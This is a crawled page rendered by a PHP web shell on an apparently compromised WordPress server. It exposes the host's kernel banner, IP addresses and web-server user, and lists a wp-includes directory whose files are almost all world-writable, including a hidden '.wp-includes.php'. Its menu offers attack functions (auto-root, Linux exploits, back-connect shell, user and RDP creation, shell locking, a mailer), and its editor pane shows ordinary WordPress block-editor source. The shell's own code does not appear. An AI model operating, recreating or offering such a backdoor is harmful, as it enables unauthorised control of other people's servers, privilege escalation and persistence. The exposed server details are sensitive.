Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.119.109.60
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
ru-website /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwxrwxrwx
IXR
[ DIR ]
drwxrwxrwx
PHPMailer
[ DIR ]
drwxrwxrwx
Requests
[ DIR ]
drwxrwxrwx
SimplePie
[ DIR ]
drwxrwxrwx
Text
[ DIR ]
drwxrwxrwx
assets
[ DIR ]
drwxrwxrwx
block-patterns
[ DIR ]
drwxrwxrwx
block-supports
[ DIR ]
drwxrwxrwx
blocks
[ DIR ]
drwxrwxrwx
certificates
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxrwxrwx
customize
[ DIR ]
drwxrwxrwx
fonts
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxrwxrwx
pomo
[ DIR ]
drwxrwxrwx
random_compat
[ DIR ]
drwxrwxrwx
rest-api
[ DIR ]
drwxrwxrwx
sitemaps
[ DIR ]
drwxrwxrwx
sodium_compat
[ DIR ]
drwxrwxrwx
theme-compat
[ DIR ]
drwxrwxrwx
widgets
[ DIR ]
drwxrwxrwx
.DS_Store
10
KB
-rwxrwxrwx
.wp-includes.php
3.61
KB
-rw-r--r--
admin-bar.php
31.6
KB
-rwxrwxrwx
atomlib.php
11.67
KB
-rwxrwxrwx
author-template.php
16.63
KB
-rwxrwxrwx
block-editor.php
16.6
KB
-rwxrwxrwx
block-patterns.php
2.6
KB
-rwxrwxrwx
block-template-utils.php
3.67
KB
-rwxrwxrwx
block-template.php
6.89
KB
-rwxrwxrwx
blocks.php
35.68
KB
-rwxrwxrwx
bookmark-template.php
12.42
KB
-rwxrwxrwx
bookmark.php
14.97
KB
-rwxrwxrwx
cache-compat.php
1.02
KB
-rwxrwxrwx
cache.php
9.29
KB
-rwxrwxrwx
canonical.php
32.31
KB
-rwxrwxrwx
capabilities.php
34.92
KB
-rwxrwxrwx
category-template.php
54.26
KB
-rwxrwxrwx
category.php
12.41
KB
-rwxrwxrwx
class-IXR.php
2.48
KB
-rwxrwxrwx
class-feed.php
529
B
-rwxrwxrwx
class-http.php
38.78
KB
-rwxrwxrwx
class-json.php
42.42
KB
-rwxrwxrwx
class-oembed.php
407
B
-rwxrwxrwx
class-phpass.php
6.54
KB
-rwxrwxrwx
class-phpmailer.php
664
B
-rwxrwxrwx
class-pop3.php
20.35
KB
-rwxrwxrwx
class-requests.php
29.72
KB
-rwxrwxrwx
class-simplepie.php
94.01
KB
-rwxrwxrwx
class-smtp.php
457
B
-rwxrwxrwx
class-snoopy.php
36.83
KB
-rwxrwxrwx
class-walker-category-dropdown...
2.08
KB
-rwxrwxrwx
class-walker-category.php
7.71
KB
-rwxrwxrwx
class-walker-comment.php
13.41
KB
-rwxrwxrwx
class-walker-nav-menu.php
8.44
KB
-rwxrwxrwx
class-walker-page-dropdown.php
2.25
KB
-rwxrwxrwx
class-walker-page.php
6.88
KB
-rwxrwxrwx
class-wp-admin-bar.php
16.59
KB
-rwxrwxrwx
class-wp-ajax-response.php
5.12
KB
-rwxrwxrwx
class-wp-application-passwords...
10.38
KB
-rwxrwxrwx
class-wp-block-editor-context....
890
B
-rwxrwxrwx
class-wp-block-list.php
4.37
KB
-rwxrwxrwx
class-wp-block-parser.php
14.86
KB
-rwxrwxrwx
class-wp-block-pattern-categor...
4.19
KB
-rwxrwxrwx
class-wp-block-patterns-regist...
4.43
KB
-rwxrwxrwx
class-wp-block-styles-registry...
4.6
KB
-rwxrwxrwx
class-wp-block-supports.php
5.15
KB
-rwxrwxrwx
class-wp-block-template.php
1.18
KB
-rwxrwxrwx
class-wp-block-type-registry.p...
4.53
KB
-rwxrwxrwx
class-wp-block-type.php
8.95
KB
-rwxrwxrwx
class-wp-block.php
6.61
KB
-rwxrwxrwx
class-wp-comment-query.php
44.42
KB
-rwxrwxrwx
class-wp-comment.php
9.1
KB
-rwxrwxrwx
class-wp-customize-control.php
25.07
KB
-rwxrwxrwx
class-wp-customize-manager.php
196.48
KB
-rwxrwxrwx
class-wp-customize-nav-menus.p...
55.44
KB
-rwxrwxrwx
class-wp-customize-panel.php
10.16
KB
-rwxrwxrwx
class-wp-customize-section.php
10.72
KB
-rwxrwxrwx
class-wp-customize-setting.php
29.07
KB
-rwxrwxrwx
class-wp-customize-widgets.php
69.52
KB
-rwxrwxrwx
class-wp-date-query.php
34.02
KB
-rwxrwxrwx
class-wp-dependency.php
2.45
KB
-rwxrwxrwx
class-wp-editor.php
69.54
KB
-rwxrwxrwx
class-wp-embed.php
15.58
KB
-rwxrwxrwx
class-wp-error.php
7.13
KB
-rwxrwxrwx
class-wp-fatal-error-handler.p...
7.4
KB
-rwxrwxrwx
class-wp-feed-cache-transient....
2.5
KB
-rwxrwxrwx
class-wp-feed-cache.php
970
B
-rwxrwxrwx
class-wp-hook.php
14.65
KB
-rwxrwxrwx
class-wp-http-cookie.php
7.02
KB
-rwxrwxrwx
class-wp-http-curl.php
12.06
KB
-rwxrwxrwx
class-wp-http-encoding.php
6.5
KB
-rwxrwxrwx
class-wp-http-ixr-client.php
3.39
KB
-rwxrwxrwx
class-wp-http-proxy.php
5.73
KB
-rwxrwxrwx
class-wp-http-requests-hooks.p...
1.93
KB
-rwxrwxrwx
class-wp-http-requests-respons...
4.24
KB
-rwxrwxrwx
class-wp-http-response.php
2.88
KB
-rwxrwxrwx
class-wp-http-streams.php
15.74
KB
-rwxrwxrwx
class-wp-image-editor-gd.php
15.15
KB
-rwxrwxrwx
class-wp-image-editor-imagick....
26.24
KB
-rwxrwxrwx
class-wp-image-editor.php
16.2
KB
-rwxrwxrwx
class-wp-list-util.php
6.79
KB
-rwxrwxrwx
class-wp-locale-switcher.php
4.9
KB
-rwxrwxrwx
class-wp-locale.php
13.65
KB
-rwxrwxrwx
class-wp-matchesmapregex.php
1.76
KB
-rwxrwxrwx
class-wp-meta-query.php
27.19
KB
-rwxrwxrwx
class-wp-metadata-lazyloader.p...
5.23
KB
-rwxrwxrwx
class-wp-network-query.php
18.72
KB
-rwxrwxrwx
class-wp-network.php
12.09
KB
-rwxrwxrwx
class-wp-object-cache.php
13.23
KB
-rwxrwxrwx
class-wp-oembed-controller.php
6.67
KB
-rwxrwxrwx
class-wp-oembed.php
29.61
KB
-rwxrwxrwx
class-wp-paused-extensions-sto...
4.81
KB
-rwxrwxrwx
class-wp-post-type.php
20.33
KB
-rwxrwxrwx
class-wp-post.php
6.27
KB
-rwxrwxrwx
class-wp-query.php
131.63
KB
-rwxrwxrwx
class-wp-recovery-mode-cookie-...
6.31
KB
-rwxrwxrwx
class-wp-recovery-mode-email-s...
10.41
KB
-rwxrwxrwx
class-wp-recovery-mode-key-ser...
4.17
KB
-rwxrwxrwx
class-wp-recovery-mode-link-se...
3.32
KB
-rwxrwxrwx
class-wp-recovery-mode.php
11.11
KB
-rwxrwxrwx
class-wp-rewrite.php
61.37
KB
-rwxrwxrwx
class-wp-role.php
2.44
KB
-rwxrwxrwx
class-wp-roles.php
8.23
KB
-rwxrwxrwx
class-wp-session-tokens.php
7.25
KB
-rwxrwxrwx
class-wp-simplepie-file.php
3.18
KB
-rwxrwxrwx
class-wp-simplepie-sanitize-ks...
1.73
KB
-rwxrwxrwx
class-wp-site-query.php
28.62
KB
-rwxrwxrwx
class-wp-site.php
7.25
KB
-rwxrwxrwx
class-wp-tax-query.php
18.81
KB
-rwxrwxrwx
class-wp-taxonomy.php
13.03
KB
-rwxrwxrwx
class-wp-term-query.php
36.39
KB
-rwxrwxrwx
class-wp-term.php
5.15
KB
-rwxrwxrwx
class-wp-text-diff-renderer-in...
716
B
-rwxrwxrwx
class-wp-text-diff-renderer-ta...
16.4
KB
-rwxrwxrwx
class-wp-theme-json-resolver.p...
11.2
KB
-rwxrwxrwx
class-wp-theme-json.php
32.95
KB
-rwxrwxrwx
class-wp-theme.php
50.11
KB
-rwxrwxrwx
class-wp-user-meta-session-tok...
2.92
KB
-rwxrwxrwx
class-wp-user-query.php
30.6
KB
-rwxrwxrwx
class-wp-user-request.php
2.14
KB
-rwxrwxrwx
class-wp-user.php
21.67
KB
-rwxrwxrwx
class-wp-walker.php
12.43
KB
-rwxrwxrwx
class-wp-widget-factory.php
3.24
KB
-rwxrwxrwx
class-wp-widget.php
17.73
KB
-rwxrwxrwx
class-wp-xmlrpc-server.php
207.93
KB
-rwxrwxrwx
class-wp.php
24.5
KB
-rwxrwxrwx
class.wp-dependencies.php
12.57
KB
-rwxrwxrwx
class.wp-scripts.php
18.49
KB
-rwxrwxrwx
class.wp-styles.php
10.62
KB
-rwxrwxrwx
comment-template.php
92.73
KB
-rwxrwxrwx
comment.php
122.81
KB
-rwxrwxrwx
compat.php
11.8
KB
-rwxrwxrwx
cron.php
39.69
KB
-rwxrwxrwx
date.php
406
B
-rwxrwxrwx
default-constants.php
10.02
KB
-rwxrwxrwx
default-filters.php
29.29
KB
-rwxrwxrwx
default-widgets.php
2.17
KB
-rwxrwxrwx
deprecated.php
121.9
KB
-rwxrwxrwx
embed-template.php
341
B
-rwxrwxrwx
embed.php
46.96
KB
-rwxrwxrwx
error-protection.php
4.02
KB
-rwxrwxrwx
feed-atom-comments.php
5.32
KB
-rwxrwxrwx
feed-atom.php
3.03
KB
-rwxrwxrwx
feed-rdf.php
2.61
KB
-rwxrwxrwx
feed-rss.php
1.16
KB
-rwxrwxrwx
feed-rss2-comments.php
3.97
KB
-rwxrwxrwx
feed-rss2.php
3.71
KB
-rwxrwxrwx
feed.php
22.43
KB
-rwxrwxrwx
formatting.php
318.97
KB
-rwxrwxrwx
functions.php
247.19
KB
-rwxrwxrwx
functions.wp-scripts.php
13.11
KB
-rwxrwxrwx
functions.wp-styles.php
8.11
KB
-rwxrwxrwx
general-template.php
154.5
KB
-rwxrwxrwx
http.php
21.86
KB
-rwxrwxrwx
https-detection.php
6.71
KB
-rwxrwxrwx
https-migration.php
4.62
KB
-rwxrwxrwx
kses.php
62.39
KB
-rwxrwxrwx
l10n.php
55.41
KB
-rwxrwxrwx
link-template.php
145.19
KB
-rwxrwxrwx
load.php
48.87
KB
-rwxrwxrwx
locale.php
162
B
-rwxrwxrwx
media-template.php
58.99
KB
-rwxrwxrwx
media.php
173.93
KB
-rwxrwxrwx
meta.php
58.72
KB
-rwxrwxrwx
ms-blogs.php
24.58
KB
-rwxrwxrwx
ms-default-constants.php
4.6
KB
-rwxrwxrwx
ms-default-filters.php
6.34
KB
-rwxrwxrwx
ms-deprecated.php
20.63
KB
-rwxrwxrwx
ms-files.php
2.58
KB
-rwxrwxrwx
ms-functions.php
91.7
KB
-rwxrwxrwx
ms-load.php
19.32
KB
-rwxrwxrwx
ms-network.php
3.58
KB
-rwxrwxrwx
ms-settings.php
4.03
KB
-rwxrwxrwx
ms-site.php
38.66
KB
-rwxrwxrwx
nav-menu-template.php
22.75
KB
-rwxrwxrwx
nav-menu.php
41.19
KB
-rwxrwxrwx
option.php
74.77
KB
-rwxrwxrwx
pluggable-deprecated.php
6.12
KB
-rwxrwxrwx
pluggable.php
101.48
KB
-rwxrwxrwx
plugin.php
32.34
KB
-rwxrwxrwx
post-formats.php
6.91
KB
-rwxrwxrwx
post-template.php
63.25
KB
-rwxrwxrwx
post-thumbnail-template.php
9.13
KB
-rwxrwxrwx
post.php
258.3
KB
-rwxrwxrwx
query.php
34.94
KB
-rwxrwxrwx
registration-functions.php
200
B
-rwxrwxrwx
registration.php
200
B
-rwxrwxrwx
rest-api.php
91.19
KB
-rwxrwxrwx
revision.php
22.01
KB
-rwxrwxrwx
rewrite.php
18.76
KB
-rwxrwxrwx
robots-template.php
5.05
KB
-rwxrwxrwx
rss-functions.php
255
B
-rwxrwxrwx
rss.php
22.44
KB
-rwxrwxrwx
script-loader.php
105.92
KB
-rwxrwxrwx
session.php
258
B
-rwxrwxrwx
shortcodes.php
20.93
KB
-rwxrwxrwx
sitemaps.php
3.16
KB
-rwxrwxrwx
spl-autoload-compat.php
441
B
-rwxrwxrwx
taxonomy.php
164.21
KB
-rwxrwxrwx
template-canvas.php
594
B
-rwxrwxrwx
template-loader.php
2.94
KB
-rwxrwxrwx
template.php
21.96
KB
-rwxrwxrwx
theme-i18n.json
634
B
-rwxrwxrwx
theme-templates.php
4.61
KB
-rwxrwxrwx
theme.json
5.2
KB
-rwxrwxrwx
theme.php
122.45
KB
-rwxrwxrwx
update.php
29.33
KB
-rwxrwxrwx
user.php
151.56
KB
-rwxrwxrwx
vars.php
5.68
KB
-rwxrwxrwx
version.php
766
B
-rwxrwxrwx
widgets.php
65.7
KB
-rwxrwxrwx
wlwmanifest.xml
1.02
KB
-rwxrwxrwx
wp-db.php
103.61
KB
-rwxrwxrwx
wp-diff.php
647
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : block-editor.php
<?php /** * Block Editor API. * * @package WordPress * @subpackage Editor * @since 5.8.0 */ /** * Returns the list of default categories for block types. * * @since 5.8.0 * * @return array[] Array of categories for block types. */ function get_default_block_categories() { return array( array( 'slug' => 'text', 'title' => _x( 'Text', 'block category' ), 'icon' => null, ), array( 'slug' => 'media', 'title' => _x( 'Media', 'block category' ), 'icon' => null, ), array( 'slug' => 'design', 'title' => _x( 'Design', 'block category' ), 'icon' => null, ), array( 'slug' => 'widgets', 'title' => _x( 'Widgets', 'block category' ), 'icon' => null, ), array( 'slug' => 'theme', 'title' => _x( 'Theme', 'block category' ), 'icon' => null, ), array( 'slug' => 'embed', 'title' => _x( 'Embeds', 'block category' ), 'icon' => null, ), array( 'slug' => 'reusable', 'title' => _x( 'Reusable Blocks', 'block category' ), 'icon' => null, ), ); } /** * Returns all the categories for block types that will be shown in the block editor. * * @since 5.0.0 * @since 5.8.0 It is possible to pass the block editor context as param. * * @param WP_Post|WP_Block_Editor_Context $post_or_block_editor_context The current post object or * the block editor context. * * @return array[] Array of categories for block types. */ function get_block_categories( $post_or_block_editor_context ) { $block_categories = get_default_block_categories(); $block_editor_context = $post_or_block_editor_context instanceof WP_Post ? new WP_Block_Editor_Context( array( 'post' => $post_or_block_editor_context, ) ) : $post_or_block_editor_context; /** * Filters the default array of categories for block types. * * @since 5.8.0 * * @param array[] $block_categories Array of categories for block types. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ $block_categories = apply_filters( 'block_categories_all', $block_categories, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $post = $block_editor_context->post; /** * Filters the default array of categories for block types. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'block_categories_all'} filter instead. * * @param array[] $block_categories Array of categories for block types. * @param WP_Post $post Post being loaded. */ $block_categories = apply_filters_deprecated( 'block_categories', array( $block_categories, $post ), '5.8.0', 'block_categories_all' ); } return $block_categories; } /** * Gets the list of allowed block types to use in the block editor. * * @since 5.8.0 * * @param WP_Block_Editor_Context $block_editor_context The current block editor context. * * @return bool|array Array of block type slugs, or boolean to enable/disable all. */ function get_allowed_block_types( $block_editor_context ) { $allowed_block_types = true; /** * Filters the allowed block types for all editor types. * * @since 5.8.0 * * @param bool|array $allowed_block_types Array of block type slugs, or boolean to enable/disable all. * Default true (all registered block types supported). * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ $allowed_block_types = apply_filters( 'allowed_block_types_all', $allowed_block_types, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $post = $block_editor_context->post; /** * Filters the allowed block types for the editor. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'allowed_block_types_all'} filter instead. * * @param bool|array $allowed_block_types Array of block type slugs, or boolean to enable/disable all. * Default true (all registered block types supported) * @param WP_Post $post The post resource data. */ $allowed_block_types = apply_filters_deprecated( 'allowed_block_types', array( $allowed_block_types, $post ), '5.8.0', 'allowed_block_types_all' ); } return $allowed_block_types; } /** * Returns the default block editor settings. * * @since 5.8.0 * * @return array The default block editor settings. */ function get_default_block_editor_settings() { // Media settings. $max_upload_size = wp_max_upload_size(); if ( ! $max_upload_size ) { $max_upload_size = 0; } /** This filter is documented in wp-admin/includes/media.php */ $image_size_names = apply_filters( 'image_size_names_choose', array( 'thumbnail' => __( 'Thumbnail' ), 'medium' => __( 'Medium' ), 'large' => __( 'Large' ), 'full' => __( 'Full Size' ), ) ); $available_image_sizes = array(); foreach ( $image_size_names as $image_size_slug => $image_size_name ) { $available_image_sizes[] = array( 'slug' => $image_size_slug, 'name' => $image_size_name, ); } $default_size = get_option( 'image_default_size', 'large' ); $image_default_size = in_array( $default_size, array_keys( $image_size_names ), true ) ? $default_size : 'large'; $image_dimensions = array(); $all_sizes = wp_get_registered_image_subsizes(); foreach ( $available_image_sizes as $size ) { $key = $size['slug']; if ( isset( $all_sizes[ $key ] ) ) { $image_dimensions[ $key ] = $all_sizes[ $key ]; } } $editor_settings = array( 'alignWide' => get_theme_support( 'align-wide' ), 'allowedBlockTypes' => true, 'allowedMimeTypes' => get_allowed_mime_types(), 'blockCategories' => get_default_block_categories(), 'disableCustomColors' => get_theme_support( 'disable-custom-colors' ), 'disableCustomFontSizes' => get_theme_support( 'disable-custom-font-sizes' ), 'disableCustomGradients' => get_theme_support( 'disable-custom-gradients' ), 'enableCustomLineHeight' => get_theme_support( 'custom-line-height' ), 'enableCustomSpacing' => get_theme_support( 'custom-spacing' ), 'enableCustomUnits' => get_theme_support( 'custom-units' ), 'isRTL' => is_rtl(), 'imageDefaultSize' => $image_default_size, 'imageDimensions' => $image_dimensions, 'imageEditing' => true, 'imageSizes' => $available_image_sizes, 'maxUploadFileSize' => $max_upload_size, ); // Theme settings. $color_palette = current( (array) get_theme_support( 'editor-color-palette' ) ); if ( false !== $color_palette ) { $editor_settings['colors'] = $color_palette; } $font_sizes = current( (array) get_theme_support( 'editor-font-sizes' ) ); if ( false !== $font_sizes ) { $editor_settings['fontSizes'] = $font_sizes; } $gradient_presets = current( (array) get_theme_support( 'editor-gradient-presets' ) ); if ( false !== $gradient_presets ) { $editor_settings['gradients'] = $gradient_presets; } return $editor_settings; } /** * Returns the block editor settings needed to use the Legacy Widget block which * is not registered by default. * * @since 5.8.0 * * @return array Settings to be used with get_block_editor_settings(). */ function get_legacy_widget_block_editor_settings() { $editor_settings = array(); /** * Filters the list of widget-type IDs that should **not** be offered by the * Legacy Widget block. * * Returning an empty array will make all widgets available. * * @since 5.8.0 * * @param array $widgets An array of excluded widget-type IDs. */ $editor_settings['widgetTypesToHideFromLegacyWidgetBlock'] = apply_filters( 'widget_types_to_hide_from_legacy_widget_block', array( 'pages', 'calendar', 'archives', 'media_audio', 'media_image', 'media_gallery', 'media_video', 'search', 'text', 'categories', 'recent-posts', 'recent-comments', 'rss', 'tag_cloud', 'custom_html', 'block', ) ); return $editor_settings; } /** * Returns the contextualized block editor settings for a selected editor context. * * @since 5.8.0 * * @param array $custom_settings Custom settings to use with the given editor type. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. * * @return array The contextualized block editor settings. */ function get_block_editor_settings( array $custom_settings, $block_editor_context ) { $editor_settings = array_merge( get_default_block_editor_settings(), array( 'allowedBlockTypes' => get_allowed_block_types( $block_editor_context ), 'blockCategories' => get_block_categories( $block_editor_context ), ), $custom_settings ); $theme_json = WP_Theme_JSON_Resolver::get_merged_data( $editor_settings ); if ( WP_Theme_JSON_Resolver::theme_has_support() ) { $editor_settings['styles'][] = array( 'css' => $theme_json->get_stylesheet( 'block_styles' ), '__unstableType' => 'globalStyles', ); $editor_settings['styles'][] = array( 'css' => $theme_json->get_stylesheet( 'css_variables' ), '__experimentalNoWrapper' => true, '__unstableType' => 'globalStyles', ); } $editor_settings['__experimentalFeatures'] = $theme_json->get_settings(); // These settings may need to be updated based on data coming from theme.json sources. if ( isset( $editor_settings['__experimentalFeatures']['color']['palette'] ) ) { $colors_by_origin = $editor_settings['__experimentalFeatures']['color']['palette']; $editor_settings['colors'] = isset( $colors_by_origin['user'] ) ? $colors_by_origin['user'] : ( isset( $colors_by_origin['theme'] ) ? $colors_by_origin['theme'] : $colors_by_origin['core'] ); } if ( isset( $editor_settings['__experimentalFeatures']['color']['gradients'] ) ) { $gradients_by_origin = $editor_settings['__experimentalFeatures']['color']['gradients']; $editor_settings['gradients'] = isset( $gradients_by_origin['user'] ) ? $gradients_by_origin['user'] : ( isset( $gradients_by_origin['theme'] ) ? $gradients_by_origin['theme'] : $gradients_by_origin['core'] ); } if ( isset( $editor_settings['__experimentalFeatures']['typography']['fontSizes'] ) ) { $font_sizes_by_origin = $editor_settings['__experimentalFeatures']['typography']['fontSizes']; $editor_settings['fontSizes'] = isset( $font_sizes_by_origin['user'] ) ? $font_sizes_by_origin['user'] : ( isset( $font_sizes_by_origin['theme'] ) ? $font_sizes_by_origin['theme'] : $font_sizes_by_origin['core'] ); } if ( isset( $editor_settings['__experimentalFeatures']['color']['custom'] ) ) { $editor_settings['disableCustomColors'] = ! $editor_settings['__experimentalFeatures']['color']['custom']; unset( $editor_settings['__experimentalFeatures']['color']['custom'] ); } if ( isset( $editor_settings['__experimentalFeatures']['color']['customGradient'] ) ) { $editor_settings['disableCustomGradients'] = ! $editor_settings['__experimentalFeatures']['color']['customGradient']; unset( $editor_settings['__experimentalFeatures']['color']['customGradient'] ); } if ( isset( $editor_settings['__experimentalFeatures']['typography']['customFontSize'] ) ) { $editor_settings['disableCustomFontSizes'] = ! $editor_settings['__experimentalFeatures']['typography']['customFontSize']; unset( $editor_settings['__experimentalFeatures']['typography']['customFontSize'] ); } if ( isset( $editor_settings['__experimentalFeatures']['typography']['customLineHeight'] ) ) { $editor_settings['enableCustomLineHeight'] = $editor_settings['__experimentalFeatures']['typography']['customLineHeight']; unset( $editor_settings['__experimentalFeatures']['typography']['customLineHeight'] ); } if ( isset( $editor_settings['__experimentalFeatures']['spacing']['units'] ) ) { $editor_settings['enableCustomUnits'] = $editor_settings['__experimentalFeatures']['spacing']['units']; unset( $editor_settings['__experimentalFeatures']['spacing']['units'] ); } if ( isset( $editor_settings['__experimentalFeatures']['spacing']['customPadding'] ) ) { $editor_settings['enableCustomSpacing'] = $editor_settings['__experimentalFeatures']['spacing']['customPadding']; unset( $editor_settings['__experimentalFeatures']['spacing']['customPadding'] ); } /** * Filters the settings to pass to the block editor for all editor type. * * @since 5.8.0 * * @param array $editor_settings Default editor settings. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. */ $editor_settings = apply_filters( 'block_editor_settings_all', $editor_settings, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $post = $block_editor_context->post; /** * Filters the settings to pass to the block editor. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'block_editor_settings_all'} filter instead. * * @param array $editor_settings Default editor settings. * @param WP_Post $post Post being edited. */ $editor_settings = apply_filters_deprecated( 'block_editor_settings', array( $editor_settings, $post ), '5.8.0', 'block_editor_settings_all' ); } return $editor_settings; } /** * Preloads common data used with the block editor by specifying an array of * REST API paths that will be preloaded for a given block editor context. * * @since 5.8.0 * * @global WP_Post $post Global post object. * * @param array $preload_paths List of paths to preload. * @param WP_Block_Editor_Context $block_editor_context The current block editor context. * * @return void */ function block_editor_rest_api_preload( array $preload_paths, $block_editor_context ) { global $post; /** * Filters the array of REST API paths that will be used to preloaded common data for the block editor. * * @since 5.8.0 * * @param string[] $preload_paths Array of paths to preload. */ $preload_paths = apply_filters( 'block_editor_rest_api_preload_paths', $preload_paths, $block_editor_context ); if ( ! empty( $block_editor_context->post ) ) { $selected_post = $block_editor_context->post; /** * Filters the array of paths that will be preloaded. * * Preload common data by specifying an array of REST API paths that will be preloaded. * * @since 5.0.0 * @deprecated 5.8.0 Use the {@see 'block_editor_rest_api_preload_paths'} filter instead. * * @param string[] $preload_paths Array of paths to preload. * @param WP_Post $selected_post Post being edited. */ $preload_paths = apply_filters_deprecated( 'block_editor_preload_paths', array( $preload_paths, $selected_post ), '5.8.0', 'block_editor_rest_api_preload_paths' ); } if ( empty( $preload_paths ) ) { return; } /* * Ensure the global $post remains the same after API data is preloaded. * Because API preloading can call the_content and other filters, plugins * can unexpectedly modify $post. */ $backup_global_post = ! empty( $post ) ? clone $post : $post; $preload_data = array_reduce( $preload_paths, 'rest_preload_api_request', array() ); // Restore the global $post as it was before API preloading. $post = $backup_global_post; wp_add_inline_script( 'wp-api-fetch', sprintf( 'wp.apiFetch.use( wp.apiFetch.createPreloadingMiddleware( %s ) );', wp_json_encode( $preload_data ) ), 'after' ); } /** * Creates an array of theme styles to load into the block editor. * * @since 5.8.0 * * @global array $editor_styles * * @return array An array of theme styles for the block editor. Includes default font family * style and theme stylesheets. */ function get_block_editor_theme_styles() { global $editor_styles; if ( ! WP_Theme_JSON_Resolver::theme_has_support() ) { $styles = array( array( 'css' => 'body { font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif }', '__unstableType' => 'core', ), ); } else { $styles = array(); } if ( $editor_styles && current_theme_supports( 'editor-styles' ) ) { foreach ( $editor_styles as $style ) { if ( preg_match( '~^(https?:)?//~', $style ) ) { $response = wp_remote_get( $style ); if ( ! is_wp_error( $response ) ) { $styles[] = array( 'css' => wp_remote_retrieve_body( $response ), '__unstableType' => 'theme', ); } } else { $file = get_theme_file_path( $style ); if ( is_file( $file ) ) { $styles[] = array( 'css' => file_get_contents( $file ), 'baseURL' => get_theme_file_uri( $style ), '__unstableType' => 'theme', ); } } } } return $styles; }
Close